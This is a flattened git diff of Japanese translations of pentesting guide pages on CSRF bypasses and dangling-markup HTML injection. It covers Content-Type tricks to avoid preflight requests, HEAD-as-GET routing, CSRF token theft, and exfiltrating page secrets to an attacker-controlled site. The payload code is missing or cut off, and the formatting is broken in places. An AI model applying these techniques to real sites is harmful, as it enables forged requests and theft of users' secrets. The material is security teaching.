あまり一般的ではありませんが、SWFフラッシュファイルを使用してこのような制限を回避する方法もあります。この技術の詳細については、[この投稿](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)を参照してください。 +2. **コンテンツタイプの変更**: サーバーがコンテンツをJSONとして認識することを保証しながらプリフライトリクエストを回避するために、`Content-Type: text/plain; application/json`でデータを送信できます。これによりプリフライトリクエストはトリガーされませんが、サーバーが`application/json`を受け入れるように設定されていれば正しく処理される可能性があります。 +3. **SWFフラッシュファイルの利用**: あまり一般的ではありませんが、SWFフラッシュファイルを使用してこのような制限を回避する方法もあります。この技術の詳細については、[this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)を参照してください。 ### リファラー/オリジンチェックのバイパス @@ -189,7 +189,7 @@ document.forms[0].submit() ``` ### **HEADメソッドバイパス** -[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)の最初の部分では、[Oakのソースコード](https://github.com/oakserver/oak/blob/main/router.ts#L281)が説明されており、ルーターは**HEADリクエストをGETリクエストとして処理する**ように設定されています - これはOakに特有の一般的な回避策です。HEADリクエストを処理する特定のハンドラーの代わりに、単に**GETハンドラーに渡されますが、アプリはレスポンスボディを削除します**。 +[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)の最初の部分では、[Oakのソースコード](https://github.com/oakserver/oak/blob/main/router.ts#L281)が説明されており、ルーターは**HEADリクエストをGETリクエストとして処理する**ように設定されており、レスポンスボディはありません - これはOakに特有の一般的な回避策です。HEADリクエストを処理する特定のハンドラーの代わりに、単に**GETハンドラーに渡されますが、アプリはレスポンスボディを削除します**。 したがって、GETリクエストが制限されている場合は、**GETリクエストとして処理されるHEADリクエストを送信することができます**。 @@ -197,7 +197,7 @@ document.forms[0].submit() ### **CSRFトークンの抽出** -**CSRFトークン**が**防御**として使用されている場合、[**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens)脆弱性や[**ダングリングマークアップ**](dangling-markup-html-scriptless-injection/)脆弱性を悪用して**抽出を試みる**ことができます。 +**CSRFトークン**が**防御**として使用されている場合、[**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens)脆弱性や[**ダングリングマークアップ**](dangling-markup-html-scriptless-injection/index.html)脆弱性を利用して**抽出を試みる**ことができます。 ### **HTMLタグを使用したGET** ```xml diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 363c9df0f..24b3fc651 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,16 +4,16 @@ ## 概要 -この技術は、**HTMLインジェクションが見つかった場合**にユーザーから情報を抽出するために使用できます。これは、**[**XSS**](../xss-cross-site-scripting/)を悪用する方法が見つからない場合**に非常に便利ですが、**いくつかのHTMLタグを注入できる**場合に役立ちます。\ -また、HTML内に**秘密が平文で保存されている**場合にそれをクライアントから**抽出**したり、スクリプトの実行を誤導したりするのにも役立ちます。 +この技術は、**HTMLインジェクションが見つかった場合**にユーザーから情報を抽出するために使用できます。これは、**[**XSS**](../xss-cross-site-scripting/index.html)**を悪用する方法が見つからない場合でも、**いくつかのHTMLタグを注入できる**場合に非常に便利です。\ +また、HTML内に**平文で保存された秘密**があり、それをクライアントから**抽出**したい場合や、スクリプトの実行を誤導したい場合にも役立ちます。 -ここでコメントされた複数の技術は、情報を予期しない方法(HTMLタグ、CSS、HTTPメタタグ、フォーム、ベースなど)で抽出することによって、いくつかの**コンテンツセキュリティポリシー**を回避するために使用できます([**Content Security Policy**](../content-security-policy-csp-bypass/))。 +ここでコメントされた複数の技術は、情報を予期しない方法(HTMLタグ、CSS、HTTPメタタグ、フォーム、ベースなど)で抽出することによって、いくつかの**[**コンテンツセキュリティポリシー**](../content-security-policy-csp-bypass/index.html)**を回避するために使用できます。 ## 主なアプリケーション ### 平文の秘密を盗む -ページが読み込まれるときに` ← Injected lines @@ -90,7 +90,7 @@ I get consumed! `` は、ブラウザがJavaScriptをサポートしていない場合にその内容が解釈されるタグです(Chromeでは [chrome://settings/content/javascript](chrome://settings/content/javascript) でJavaScriptを有効/無効にできます)。 -攻撃者が制御するサイトに対して、注入ポイントからページの内容をエクスフィルトレートする方法は、これを注入することです: +攻撃者が制御するサイトに対して、注入ポイントからページの内容を下部まで抽出する方法は、これを注入することです: ```html